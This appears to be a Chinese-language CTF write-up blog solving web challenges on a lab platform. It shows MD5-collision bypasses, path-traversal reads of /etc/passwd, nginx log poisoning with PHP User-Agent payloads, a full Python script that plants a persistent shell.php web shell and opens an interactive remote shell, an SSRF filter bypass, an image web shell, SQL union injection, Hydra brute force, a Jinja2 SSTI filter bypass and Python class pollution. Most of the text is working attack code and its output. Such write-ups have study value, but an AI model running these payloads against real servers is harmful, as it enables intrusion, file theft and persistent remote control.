if (isset($a) && isset($b)){ if ($a !== $b && md5($a) == md5($b)){ echo "<br>yes<br>"; } else { die("no"); } $a = $_REQUEST['aa']; $b = $_REQUEST['bb']; if ($a !== $b && md5((string)$a) === md5((string)$b)){ echo "yes yes<br>"; } else { die("no no"); } $a = $_REQUEST['aaa']; $b = $_REQUEST['bbb']; if ((string)$a !== (string)$b && md5((string)$a) === md5((string)$b)){ echo "yes yes yes<br>"; echo "Congratulations! You have passed the second level, the flag is ".$flag."<br>"; } else { die("no no no"); }} else { echo "a or b is not set<br>";}有aa有bb,乍眼一看要md5对撞了,上网搜一对
curl -v -X POST 'http://challenge.ilovectf.cn:30070/Flll4g.php' \ -F 'a[]=1' -F 'b[]=2' \ -F 'aa[]=1' -F 'bb[]=2' \ -F 'aaa=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak' \ -F 'bbb=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak'来自GPT的解析:
第一层:a、b 作为不同的数组(a[]=1、b[]=2),使得 b 为真,而 md5(b) 都返回 NULL(相等)。
第二层:aa、bb 也作为数组,(string)a) === md5((string)$b) 为真(严格等)。
第三层:aaa、bbb 使用两段不同但 MD5 相同的字符串(示例来自上面的链接),满足 (string)b 且 md5((string)b)。
[Week1] 前端小游戏
照理说,这题该写console脚本,直接改数据。 但一想这纯静态网页,哪里藏得住东西呀,看了一眼js,哦吼?
if (score >= 30) { endTitle.textContent = '任务完成?'; endMessage.textContent = '骗你的,30分也不给你flag!';} else if (score < 0) { endTitle.textContent = '异常结果'; endMessage.textContent = '检测到异常分数,获取到以下数据:'; Element.textContent = atob('ZmxhZ3s0ZjFjNTRmZS02ZmNlLTQxNTAtYWM0Mi02MTFmNzk4MjA0Njd9'); Container.classList.remove('hidden');} else { endTitle.textContent = '挑战失败'; endMessage.textContent = `你只捕获了 ${score} 个黑客,至少需要30个!`;}ZmxhZ3s0ZjFjNTRmZS02ZmNlLTQxNTAtYWM0Mi02MTFmNzk4MjA0Njd9 deBase64 -> flag{4f1c54fe-6fce-4150-ac42-611f79820467}
(review:我真的手点到了30个,他喵的)
[Week1] 包含不明东西的食物?!
将物品投入锅里即可收获神秘礼品😋 这题其实不难,但我想复杂了。算上我php基础并不扎实,做这题时有点难受。
Ok请输入食材名(如food1.webp),那肯定先输入food1.webp试试看。发现报错如下:
食材路径:/var/www/html/backpack/food1.webp
Warning: Unexpected character in input: '' (ASCII=26) state=0 in /var/www/html/backpack/food1.webp on line 618
Warning: Unexpected character in input: '' (ASCII=28) state=0 in /var/www/html/backpack/food1.webp on line 618
Parse error: in /var/www/html/backpack/food1.webp on line 618布什戈么,这是吧webp当php了啊?当时甚至试过了php://filter,不过这题单纯是字符串拼接。
尝试绝对路径,提示/var/www/html/backpack//var/www/html/backpack/food1.webp 食材不存在,真的就是拼接术。无奈,翻html,发现hint:
<!--flag在flag.txt中--> <!--大厨会include你输入的内容哦~-->这时候我开始瞎试了,../flag.txt
../../flag.txt
../../../flag.txt
../../../../flag.txt 我超!
恭喜!你领悟了魔物饭的美味之处,这是你的奖励 flag{4b88e9f5-756f-4b2d-9081-0f1f4e0124ca}
复盘:
尝试了../../../../var/www/html/backpack/php://filter/read=convert.base64-encode/resource=food1.webp和../../../../php://filter/read=convert.base64-encode/resource=/var/www/html/backpack/food1.webp,都不行啊。
有意思,使用payload../../../../etc/passwd真的有权限读取诶:
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/bin/sh man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin postgres:x:70:70::/var/lib/postgresql:/bin/sh cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www-data:x:1000:1000:Linux User,,,:/home/www-data:/bin/false nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin坏了,突然想玩RCE了 :~D 只能读的话,应该可以Log Poisoning吧
../../../../etc/nginx/nginx.conf
返回值重点关注access_log /var/log/nginx/access.log main;构造payload../../../../var/log/nginx/access.log
../../../../etc/issue返回Welcome to Alpine Linux 3.8 Kernel \r on an \m (\l)
../../../../etc/hosts返回# Kubernetes-managed hosts file. 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet fe00::0 ip6-mcastprefix fe00::1 ip6-allnodes fe00::2 ip6-allrouters 10.233.66.35 cl-55-c98351f013ba2a8a原来是k8s呀。
第一次尝试:
curl -i -s -k -X 'GET' \-H 'User-Agent: <?php system($_GET["cmd"]); ?>' \'http://challenge.ilovectf.cn:30076/index.html看日志发现Fatal error: Undefined constant 'x22cmd\x22' in /var/log/nginx/access.log on line 61
然后好像什么玩意崩了,再次使用../../../../var/log/nginx/access.logpayload直接返回了数据,没有html、css了,诶,我重启一下。
第二次尝试:
curl -i -s -k -X 'GET' \-H 'User-Agent: <?php eval(base64_decode("c3lzdGVtKCRfR0VUW2NtZF0pOw==")); ?>' \'http://challenge.ilovectf.cn:30081/index.html'又崩了Fatal error: Undefined constant 'x22c3lzdGVtKCRfR0VUW2NtZF0pOw' in /var/log/nginx/access.log on line 13
第三次尝试:
curl -i -s -k -X 'GET' \-H 'User-Agent: <?php //system($_GET[cmd]);exit;?>' \'http://challenge.ilovectf.cn:30082/index.html'这次不报错了,但也没什么反应
第四次尝试:
curl -i -s -k -X 'GET' \-H 'User-Agent: *)/<?php eval(base64_decode(c3lzdGVtKCRfR0VUW2NtZF0pOw)); exit; ?>/*' \'http://challenge.ilovectf.cn:30084/index.html'curl -i -s -k -X 'POST' \-d 'filename=../../../../var/log/nginx/access.log' \'http://challenge.ilovectf.cn:30084/include.php?cmd=cat%20/flag.txt'卧槽!

拿到php了
<?phperror_reporting(E_ALL);ini_set('display_errors', 1);
$uploadDir = __DIR__ . '/backpack';if (!is_dir($uploadDir)) { mkdir($uploadDir, 0777, true);}
$resultMsg = '';$includeOutput = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['filename'])) { $filename = trim($_POST['filename']);
$targetPath = $uploadDir . '/'.$filename;
if (file_exists($targetPath) && is_file($targetPath)) {
$ext = strtolower(pathinfo($targetPath, PATHINFO_EXTENSION));
echo "<p>食材路径:<strong>" . htmlspecialchars($targetPath) . "</strong></p>"; echo "<hr>";
if($ext === 'jpg') echo "<img src='backpack/" . rawurlencode($filename) . "' alt='图片' style='max-width:100%;'>"; else{ ob_start(); include $targetPath; $includeOutput = ob_get_clean();} } else { $resultMsg = "<p>" . htmlspecialchars($targetPath) . " 食材不存在</p>"; }} else { $resultMsg = "<p>请通过表单提交食材路径</p>";}
?><!DOCTYPE html><html lang="zh-CN"><head> <meta charset="UTF-8" /> <title>烹饪结果 - 迷宫食堂</title> <style> html, body { height: 100%; margin: 0; } body { background: url('./backgroud.webp') no-repeat center center fixed; background-size: cover; font-family: Arial, sans-serif; color: white; display: flex; justify-content: center; align-items: center; padding: 20px; flex-direction: column; text-align: center; } .result-box { background: rgba(0,0,0,0.5); padding: 20px; border-radius: 10px; max-width: 800px; width: 90%; max-height: 80vh; overflow-y: auto; word-break: break-word; text-align: left; } a { color: #aaf; } </style></head><body><div class="result-box"> <p><a href="index.html">返回投入食材页面</a></p> <?php echo $resultMsg; echo $includeOutput; ?></div></body></html>curl -i -s -k -X 'POST' \-d 'filename=../../../../var/log/nginx/access.log' \'http://challenge.ilovectf.cn:30082/include.php?cmd=base64%20/var/www/html/backpack/food1.webp' > aaa.txt好的终于拿到food1.webp了🤣就是麻烦了点。。。

import requestsimport sysimport reimport urllib.parse# 禁用 requests 的 SSL 警告requests.packages.urllib3.disable_warnings()
# --- RCE 配置 ---POISON_PAYLOAD = '*)/<?php eval(base64_decode("c3lzdGVtKCRfR0VUW2NtZF0pOw==")); exit; ?>/*'LOG_PATH = '../../../../var/log/nginx/access.log'INCLUDE_SCRIPT = '/include.php'POISON_PATH = '/index.html'
WEBSHELL_INJECTION_CMD = f"echo '<?php system($_GET[\"c\"]); ?>' > /var/www/html/backpack/shell.php"# -----------------
def poison_log(base_url): """发送 GET 请求,将恶意代码注入到 Nginx 日志中""" poison_url = base_url + POISON_PATH headers = {'User-Agent': POISON_PAYLOAD}
try: print(f"[+] 正在向 {poison_url} 注入恶意 User-Agent...") requests.get(poison_url, headers=headers, verify=False, timeout=5) print("[+] 注入成功。开始尝试 RCE...") except requests.exceptions.RequestException as e: print(f"[-] 投毒请求失败: {e}") sys.exit(1)
def log_rce_execute(base_url, command): """使用日志投毒链执行命令 (第一次使用)""" rce_url = base_url + INCLUDE_SCRIPT data = {'filename': LOG_PATH} # 必须对命令进行URL编码,以确保特殊字符安全 params = {'cmd': command}
try: response = requests.post(rce_url, data=data, params=params, verify=False, timeout=10) content = response.text
# 核心过滤逻辑 notice_end_marker_re = re.compile(r"<b>Notice</b>.*on line <b>\d+</b><br />", re.DOTALL) match = notice_end_marker_re.search(content)
if match: output_start = match.end() rce_output = content[output_start:] rce_output = re.sub(r'^(<br\s*/>|<br>|\s)*', '', rce_output) rce_output = re.sub(r'</?\s*\w+\s*>', '', rce_output).strip() return rce_output else: # 简化过滤,移除大部分 HTML 标签 rce_output = re.sub(r'<[^>]*>', '', content) rce_output = re.sub(r'.*Use of undefined constant.*', '', rce_output, flags=re.DOTALL) rce_output = rce_output.strip() return rce_output
except requests.exceptions.RequestException as e: return f"[-] RCE 执行失败: {e}"
def webshell_execute(base_url, command): """使用植入的Web Shell执行命令 (持久化模式)""" shell_url = f"{base_url}/backpack/shell.php" params = {'c': command} # 使用 'c' 作为命令参数
try: # 使用 GET 请求执行命令 response = requests.get(shell_url, params=params, verify=False, timeout=10) return response.text.strip() except requests.exceptions.RequestException as e: return f"[-] Web Shell 连接失败或命令执行失败: {e}"
def main(): if len(sys.argv) != 2: print("用法: python rce_shell.py <域名或IP>:<端口>") sys.exit(1)
target_host = sys.argv[1] base_url = f"http://{target_host}"
# --- 模式选择 --- print("\n请选择 RCE 模式:") print("1. Log Poisoning Shell (每次执行命令都包含日志文件)") print(f"2. Web Shell 模式 (投毒一次,植入 shell.php 后,通过它持久访问) - 推荐") choice = input("输入模式编号 (默认为 2): ")
use_webshell = choice not in ['1', 'log', 'poison']
# 步骤 1: 投毒 poison_log(base_url)
if use_webshell: # 步骤 2a: 植入 Web Shell print(f"[+] 正在植入 Web Shell: shell.php...")
# 编码植入命令 encoded_injection_cmd = urllib.parse.quote(WEBSHELL_INJECTION_CMD)
injection_result = log_rce_execute(base_url, encoded_injection_cmd)
# 检查是否成功植入 (成功的 echo 命令通常返回空字符串) if injection_result.strip(): print(f"[-] Web Shell 植入失败。RCE输出: {injection_result}. 切换回 Log Poisoning 模式。") use_webshell = False else: print(f"[+] Web Shell 植入成功! 访问点: {base_url}/backpack/shell.php")
# 步骤 3: 交互式 Shell 启动 print("\n" + ("="*50)) print("[+] 交互式 Shell 启动。输入 'exit' 或 'quit' 退出。") print("[!] 如果方向键出现 '^[[A' 等乱码,请在退出后执行 'stty sane' 修复终端。") print(("="*50) + "\n")
executor = webshell_execute if use_webshell else log_rce_execute
# 第一次执行 whoami,验证是否成功 print(f"[+] 尝试执行 'whoami'...") initial_output = executor(base_url, 'whoami') print(initial_output)
if "404 Not Found" in initial_output or "Parse error" in initial_output or not initial_output: print("[-] RCE 验证失败。请检查路径或权限。") return
while True: try: cmd = input("$ ") if cmd.lower() in ['exit', 'quit']: break if not cmd: continue
output = executor(base_url, cmd) print(output)
except KeyboardInterrupt: print("\n[+] 退出 Shell。") if use_webshell: print("[!] 记得执行 'stty sane' 修复终端输入。") break except Exception as e: print(f"[-] 发生未知错误: {e}") break
if __name__ == "__main__": main()[Week2] Look at the picture
你想看什么图片都行,但只能是http协议哦~ 不要偷偷用其它的
challenge.ilovectf.cn:30333/?url=https%3A%2F%2Fpicsum.photos%2F500%2F500%3Frandom%3D2
显然是要修改url参数的请求头,尝试读取文件
challenge.ilovectf.cn:30333/?url=file://flag.txt
返回I see you.....,看来file头被过滤了。
尝试http://challenge.ilovectf.cn:30333/?url=http://127.0.0.1返回html
确实只允许http/https协议头。
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/bypass')def bypass(): return redirect("file:///flag.txt", code=302)
if __name__ == '__main__': app.run(host='0.0.0.0', port=8090)借Timmy的国内vps跑一段bypass(我的US搬瓦工不行,有IP段屏蔽)
39开头的是我本地,43开头是测试机,可以看到确实发生了302,不过,这这这,,,404??这是跨域了吗?怎么读vps去了?
http://challenge.ilovectf.cn:30404/?url=https://ipw.cn/gongan.png看响应发现是base64,前台解码为图片
冷静思考,dirsearch先来一下,发现/www.zip
解压拿到index.php
<?php// 随机图片URL数组$randomImages = [ 'https://picsum.photos/500/500?random=1', 'https://picsum.photos/500/500?random=2', 'https://picsum.photos/500/500?random=3', 'https://picsum.photos/500/500?random=4', 'https://picsum.photos/500/500?random=5', 'https://picsum.photos/500/500?random=6', 'https://picsum.photos/500/500?random=7', 'https://picsum.photos/500/500?random=8', 'https://picsum.photos/500/500?random=9', 'https://picsum.photos/500/500?random=10'];
// 获取URL参数$imageUrl = isset($_GET['url']) ? $_GET['url'] : '';$blacklist_keywords = [ 'file://', 'file%3A//', 'phar://', 'phar%3A//', 'zip://', 'zip%3A//', 'data:', 'data%3A', 'glob://', 'glob%3A//', 'expect://', 'expect%3A//', 'ftp://', 'ftps://', 'passwd', 'shadow', 'etc/', 'root', 'bin', 'bash', 'base64', 'string.', 'rot13', 'eval', 'system', 'exec', 'shell_exec', 'popen' ];foreach ($blacklist_keywords as $keyword) { if (stripos($imageUrl, $keyword) !== false) { die("I see you....."); } }// 如果没有URL参数,选择一个随机图片并重定向if (empty($imageUrl)) { $randomImage = $randomImages[array_rand($randomImages)]; header("Location: ?url=" . urlencode($randomImage)); exit();}
// 初始化变量$base64Image = '';$imageInfo = null;$error = '';
if (!empty($imageUrl)) { // 验证URL格式 if (filter_var($imageUrl, FILTER_VALIDATE_URL)) { // 使用file_get_contents获取图片内容 $imageContent = @file_get_contents($imageUrl);
if ($imageContent !== false) { // 获取图片信息 $imageInfo = @getimagesizefromstring($imageContent); if ($imageInfo) { // 获取MIME类型 $mimeType = $imageInfo['mime'];
// 将图片内容转换为base64编码 $base64Image = base64_encode($imageContent); } else { $error = '无法识别的图片格式 你的图片:'.$imageUrl.":".$imageContent; } } else { $error = '无法获取图片内容,请检查URL是否正确 '.$imageUrl.":".$imageContent; } } else { $error = '无效的URL格式'; }}?>
<!DOCTYPE html><html lang="zh-CN"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>图片展示</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: 'Arial', sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; display: flex; justify-content: center; align-items: center; padding: 20px; }
.container { background: rgba(255, 255, 255, 0.95); border-radius: 20px; box-shadow: 0 20px 40px rgba(0, 0, 0, 0.1); padding: 40px; text-align: center; max-width: 600px; width: 100%; backdrop-filter: blur(10px); }
.header { margin-bottom: 30px; }
.header h1 { color: #333; font-size: 2.5em; margin-bottom: 10px; background: linear-gradient(45deg, #667eea, #764ba2); -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text; }
.header p { color: #666; font-size: 1.1em; }
.image-container { position: relative; margin: 30px 0; }
.avatar-frame { width: 250px; height: 250px; margin: 0 auto; border-radius: 50%; overflow: hidden; box-shadow: 0 15px 35px rgba(0, 0, 0, 0.2); border: 5px solid #fff; transition: transform 0.3s ease; }
.avatar-frame:hover { transform: scale(1.05); }
.avatar-image { width: 100%; height: 100%; object-fit: cover; }
.info-box { background: linear-gradient(45deg, #667eea, #764ba2); color: white; padding: 20px; border-radius: 15px; margin-top: 30px; }
.info-box h3 { margin-bottom: 15px; font-size: 1.3em; }
.info-content { text-align: left; line-height: 1.6; }
.error-message { background: #ff6b6b; color: white; padding: 20px; border-radius: 10px; margin: 20px 0; font-size: 1.1em; }
.footer { margin-top: 30px; color: #888; font-size: 0.9em; }
.controls { margin: 20px 0; }
.btn { background: linear-gradient(45deg, #667eea, #764ba2); color: white; border: none; padding: 12px 25px; border-radius: 50px; font-size: 1em; cursor: pointer; transition: all 0.3s ease; box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1); }
.btn:hover { transform: translateY(-3px); box-shadow: 0 8px 20px rgba(0, 0, 0, 0.2); }
.btn:active { transform: translateY(1px); }
.loading { display: none; font-size: 1.2em; color: #667eea; margin: 20px 0; }
@media (max-width: 768px) { .container { padding: 20px; }
.header h1 { font-size: 2em; }
.avatar-frame { width: 200px; height: 200px; } } </style></head><body> <div class="container"> <div class="header"> <h1>图片展示</h1> </div>
<div class="controls"> <button id="refreshBtn" class="btn">获取新图片</button> </div>
<?php if (!empty($error)): ?> <div class="error-message"> 错误:<?php echo htmlspecialchars($error); ?> </div> <?php elseif (!empty($base64Image)): ?> <div class="image-container"> <div class="avatar-frame"> <img src="data:<?php echo $mimeType; ?>;base64,<?php echo $base64Image; ?>" alt="显示图片" class="avatar-image"> </div> </div>
<div class="info-box"> <h3>图片信息</h3> <div class="info-content"> <p><strong>图片尺寸:</strong><?php echo $imageInfo[0]; ?> × <?php echo $imageInfo[1]; ?> 像素</p> <p><strong>图片类型:</strong><?php echo $mimeType; ?></p> <p><strong>文件大小:</strong><?php echo round(strlen(base64_decode($base64Image)) / 1024, 2); ?> KB</p> <p><strong>来源URL:</strong><?php echo htmlspecialchars($imageUrl); ?></p> </div> </div> <?php endif; ?> </div>
<script> // 随机图片URL数组 const randomImages = [ 'https://picsum.photos/500/500?random=1', 'https://picsum.photos/500/500?random=2', 'https://picsum.photos/500/500?random=3', 'https://picsum.photos/500/500?random=4', 'https://picsum.photos/500/500?random=5', 'https://picsum.photos/500/500?random=6', 'https://picsum.photos/500/500?random=7', 'https://picsum.photos/500/500?random=8', 'https://picsum.photos/500/500?random=9', 'https://picsum.photos/500/500?random=10' ];
// 获取刷新按钮 const refreshBtn = document.getElementById('refreshBtn');
// 点击刷新按钮获取新图片 refreshBtn.addEventListener('click', function() { const randomImage = randomImages[Math.floor(Math.random() * randomImages.length)]; window.location.href = '?url=' + encodeURIComponent(randomImage); }); </script></body></html>有www.zip,大概率是利用zip实现目录穿越
我超!想复杂了,连php://都没限制
http://challenge.ilovectf.cn:30101/?url=php://filter/resource=../../../../flag错误:无法识别的图片格式 你的图片:php://filter/resource=../../../../flag:flag{You_937_7HE_FIltEr}好啊!
[Week2] Only Picture Up
咦?上传一个图片就能得到flag?
提示很明显了,准备图片马
➜ web cat wow.jpg<?php system($_GET['cmd']); ?>http://challenge.ilovectf.cn:30445/?preview=wow.jpg&cmd=cat%20/FL4g94
flag{08416cde-c31b-4934-8404-dab0b39501a7}
[Week2] Regular Expression
正则表达式是一个好工具!
<?phphighlight_file(__FILE__);error_reporting(0);include('flag.php');
if(isset($_GET["?"])){ $_? = $_GET['?']; if(preg_match('/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/', $_?) && strlen($_?) == 40) { echo 'Good job! Now I need you to write a regular expression for my string.</br>'; if(isset($_POST['preg'])){ $preg = str_replace("|","",$_POST['preg']); $test_string = 'Please\ 777give+. !me?<=-=>(.*)Flaggg0'; if(preg_match('/'.$preg.'/', $test_string) && strlen($_POST['preg']) > 77){ echo "Congratulations! Here is your flag: ".$flag; }else{ echo "Almost succeeded!"; } } }else{ echo "Think twice, and go to study!!!"; }}else{ echo "Welcome to ?ctf";} Welcome to ?ctf这啥呀,
/^-(ctf|CTF)<\n>{5}[h-l]\d\d\W+@email\.com flag.\b$/payload为
-ctf<>>>>>h00!!@email.com flagA这里有坑,被<\n>{5}搞了好久,原来是<\n>>>>>,哈哈哈哈哈哈哈哈哈,笑傻了。
curl -i 'http://challenge.ilovectf.cn:30067/index.php?%3F=-ctf%3C%0A%3E%3E%3E%3E%3Eh00%21%21%21%21%21%21%21%21%21%21%40email.com%20flagA'Good job! Now I need you to write a regular expression for my string.接着构建下一个payload,这个简单,注意下长度即可:
curl -X POST 'http://challenge.ilovectf.cn:30067/index.php?%3F=-ctf%3C%0A%3E%3E%3E%3E%3Eh00%21%21%21%21%21%21%21%21%21%21%40email.com%20flagA' \ -d 'preg=.*Flaggg0(?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx)'Good job! Now I need you to write a regular expression for my string.</br>Congratulations! Here is your flag: flag{3ad3a3e5-2201-4313-b7d2-4f0ec314256e}[Week2] 留言板
jinjia2
{{7*7}}49{{ request.application.__globals__.__builtins__.__import__('os').popen('ls /').read() }}
no " ' "!! ( 加点小过滤不介意吧^_^
{{[].__class__.__base__}}
<class 'object'>单双引号、url_for都无法使用。
{{ some_object.__init__.__globals__.__builtins__.chr(108) ~ some_object.__init__.__globals__.__builtins__.chr(115) }}输出ls,哈哈哈哈
➜ ~ curl -X POST 'http://challenge.ilovectf.cn:30476/ssti?u1=_&c=c&l=l&a=a&s=s&i=i&n=n&g=g&o=o&p=p&e=e&t=t&sp=%20&m=m&r=r&k=k&b=b' \-H 'Content-Type: application/x-www-form-urlencoded' \--data-urlencode 'message={{url_for|attr(request.args.u1~request.args.u1~request.args.g~request.args.l~request.args.o~request.args.b~request.args.a~request.args.l~request.args.s~request.args.u1~request.args.u1)[request.args.o~request.args.s]|attr(request.args.p~request.args.o~request.args.p~request.args.e~request.args.n)(request.args.l~request.args.s)|join}}'no " url_for "!! ( 加点小过滤不介意吧^_^%curl -X POST 'http://challenge.ilovectf.cn:30084/ssti' --data-urlencode 'message={{7*7}}'https://github.com/Marven11/Fenjing/我超,这是什么东西??!!
python -m fenjing crack --url 'http://challenge.ilovectf.cn:30084/ssti' --detect-mode fast --inputs message --method POST
[Week2] 登录和查询
看网页源码拿到百度网盘,获得字典和提示
恭喜你找到了这里,你是个很棒的ctfer
登录密码和用户名就藏在这个目录下的字典里面,不要去用别的字典哦,服务器的小心肝受不了。
越过登录界面之后还有一关,flag就在在flags表里面可是id为多少呢?hydra一把梭
➜ [Week2] 登录和查询 hydra -s 30049 -v -L 字典.txt -P 字典.txt challenge.ilovectf.cn http-post-form "/login.php:username=^USER^&password=^PASS^:F=错误"Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-09 07:14:13[DATA] max 16 tasks per 1 server, overall 16 tasks, 4900 login tries (l:70/p:70), ~307 tries per task[DATA] attacking http-post-form://challenge.ilovectf.cn:30049/login.php:username=^USER^&password=^PASS^:F=错误[VERBOSE] Resolving addresses ... [VERBOSE] resolving done[STATUS] 1822.00 tries/min, 1822 tries in 00:01h, 3078 to do in 00:02h, 16 active[VERBOSE] Page redirected to http[s]://challenge.ilovectf.cn:30049/flag.php[30049][http-post-form] host: challenge.ilovectf.cn login: admin password: admin123登陆后跳转到http://challenge.ilovectf.cn:30049/flag.php,提示You_are_so_a_go0d_ctfer
构造id请求http://challenge.ilovectf.cn:30049/flag.php?id=2提示try_use_union!Okkk
尝试有几个字段,发现http://challenge.ilovectf.cn:30049/flag.php?id=-1' UNION SELECT 1,2,3--+提示123
http://challenge.ilovectf.cn:30049/flag.php?id=-1' UNION SELECT 1,2,flag FROM flags--+提示
12OH!YOU_AR3_1N_RIGHT_WA7_
提交flag{OH!YOU_AR3_1N_RIGHT_WA7_},并不正确。
看提示:flag就在在flags表里面,猜测flag并不在flag里。
列出flags表下所有行
http://challenge.ilovectf.cn:30049/flag.php?id=-1' UNION SELECT 1,2,group_concat(id, ':', flag) FROM flags--+成功夺旗
121:OH!YOU_AR3_1N_RIGHT_WA7_,2:flag{28778804-9c7d-4cd2-9a6f-972d89c79139}果然有两行,提交。其实提示很多,全程都有,很贴心了。
[Week2] 这是什么函数
没见过?搜一下!在/flag
看不懂思密达,问一下Gemini:
前端页面分析:
标题与提示: 题目名称是“这是什么函数?”,页面内提示“题目问函数,可是这个页面里面哪有函数?”和“信息搜集一下,不在这个页面哦”。这强烈暗示我们需要寻找源码或线索来发现后端使用的关键函数。
核心功能: 页面提供一个 JSON 输入框,点击按钮后,会通过 JavaScript fetch 函数向 /pollute 路径发送一个 POST 请求,Content-Type 为 application/json。
关键点: 路径名 /pollute 是一个非常明显的提示,指向了 原型链污染 (Prototype Pollution) 漏洞。提交数据后弹窗提示“你应该找找这个包要干什么”,进一步说明后端使用了某个具体的第三方库(包)来处理 JSON 数据,而这个库存在漏洞。
漏洞识别:
原型链污染 (Prototype Pollution): 这是 JavaScript 的一种漏洞。当一个应用不安全地合并(merge)或克隆(clone)对象时,攻击者可以利用 __proto__ 或 constructor.prototype 等键来修改 Object.prototype(所有对象的原型)。一旦原型被污染,可能会导致拒绝服务(DoS)、权限提升,甚至远程代码执行(RCE)。
目标: 我们的目标是构造一个恶意的 JSON 数据,发送到 /pollute 接口,污染服务器的 JS 环境,然后在访问 /flag 页面时触发我们植入的恶意行为,从而读取到 flag。找篇文章学习一下:https://zhuanlan.zhihu.com/p/8675630190
(base) ➜ ~ dirsearch -u http://challenge.ilovectf.cn:30056/
_|. _ _ _ _ _ _|_ v0.4.3.post1 (_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /Users/chao/reports/http_challenge.ilovectf.cn_30056/__25-10-09_08-23-24.txt
Target: http://challenge.ilovectf.cn:30056/
[08:23:24] Starting:[08:28:23] 200 - 39B - /flag[08:31:20] 200 - 1KB - /src
Task Completed我超!这个也太强了。访问/src,获得源码,原来是flask吗(我以为是node.js)
from flask import Flask, request, render_templateimport json
app = Flask(__name__)
def merge(src, dst): for k, v in src.items(): if hasattr(dst, "__getitem__"): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
def is_json(data): try: json.loads(data) return True except ValueError: return False
class cls(): def __init__(self): pass
instance = cls()cat = "where is the flag?"dog = "how to get the flag?"
@app.route("/", methods=["GET", "POST"])def index(): return render_template("index.html")
@app.route("/flag", methods=["GET", "POST"])def flag(): with open("/flag", "r") as f: flag = f.read().strip()
if cat == dog: return flag else: return cat + " " + dog
@app.route("/src", methods=["GET", "POST"])def src(): return open(__file__, encoding="utf-8").read()
@app.route("/pollute", methods=["GET", "POST"])def Pollution(): if request.is_json: merge(json.loads(request.data), instance) else: return "fail" return "success"
if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)那就是 Object Pollution 了是吧?
要让if cat == dog:
(base) ➜ ~ curl -X POST -H "Content-Type: application/json" \ -d '{"__init__": {"__globals__": {"dog": "where is the flag?"}}}' \ http://challenge.ilovectf.cn:30056/pollutesuccess%
(base) ➜ ~ curl http://challenge.ilovectf.cn:30056/flagflag{78fc813f-b506-4c1a-b1f0-1017eea2a0ec}%[Week3] VIP
先探索一下
{{.Utils.GetReader "/flag.txt" | .Utils.ReadAll}}模板执行错误: template: name:1:22: executing "name" at <.Utils.GetReader>: error calling GetReader: open /flag.txt: permission denied
{{.Utils.GetReader "/etc/passwd" | .Utils.ReadAll}}输出结果: root:x:0:0:root:/root:/bin/shbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/mail:/sbin/nologinnews:x:9:13:news:/usr/lib/news:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologincron:x:16:16:cron:/var/spool/cron:/sbin/nologinftp:x:21:21::/var/lib/ftp:/sbin/nologinsshd:x:22:22:sshd:/dev/null:/sbin/nologingames:x:35:35:games:/usr/games:/sbin/nologinntp:x:123:123:NTP:/var/empty:/sbin/nologinguest:x:405:100:guest:/dev/null:/sbin/nologinnobody:x:65534:65534:nobody:/:/sbin/nologinapp:x:1000:1000:Linux User,,,:/home/app:/sbin/nologin
